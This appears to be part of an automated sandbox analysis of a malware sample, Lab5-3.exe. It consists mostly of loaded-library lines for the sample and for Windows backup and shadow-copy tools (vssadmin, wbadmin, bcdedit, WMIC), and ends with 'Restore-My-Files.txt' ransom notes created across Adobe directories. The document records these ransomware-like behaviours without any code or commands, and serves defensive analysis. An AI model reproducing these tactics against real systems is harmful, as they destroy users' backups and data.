Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: credui.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: blb_ps.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: spp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: wer.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fveapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: blb_ps.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vds_ps.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vdsldr.exe	Section loaded: vds_ps.dll
Source: C:\Windows\System32\vds.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vds.exe	Section loaded: osuninst.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: bcd.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uexfat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ifsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\vds.exe	Section loaded: uudf.dll
Source: C:\Windows\System32\vds.exe	Section loaded: untfs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ufat.dll
Source: C:\Windows\System32\vds.exe	Section loaded: fmifs.dll
Source: C:\Windows\System32\vds.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vds_ps.dll
Source: C:\Windows\System32\vds.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsdyn.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsbas.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsvd.dll
Source: C:\Windows\System32\vds.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\vds.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: hbaapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: wmiclnt.dll
Source: C:\Windows\System32\vds.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\vds.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\vds.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: iscsidsc.dll
Source: C:\Windows\System32\vds.exe	Section loaded: iscsium.dll
Source: C:\Windows\System32\vds.exe	Section loaded: fveapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: comsvcs.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cmlua.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cmutil.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: colorui.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mscms.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: coloradapterclient.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: drprov.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: winsta.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: davclnt.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cscapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: browcli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: edputil.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: napinsp.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wshbth.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: winrnr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: slc.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sppc.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: pcacli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: comsvcs.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cmlua.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cmutil.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: colorui.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mscms.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: coloradapterclient.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netapi32.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mpr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: netutils.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: drprov.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: winsta.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: davclnt.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wkscli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: cscapi.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: browcli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: edputil.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: slc.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: userenv.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sppc.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: pcacli.dll
Source: C:\Users\user\Desktop\Lab5-3.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: credui.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: blb_ps.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vss_ps.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: credui.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: credui.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: blb_ps.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: credui.dll
Source: C:\Windows\System32\wbadmin.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\Desktop\Lab5-3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4a04656d-52aa-49de-8a09-cb178760e748}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Lab5-3.exe

File written: C:\$RECYCLE.BIN\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-sl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
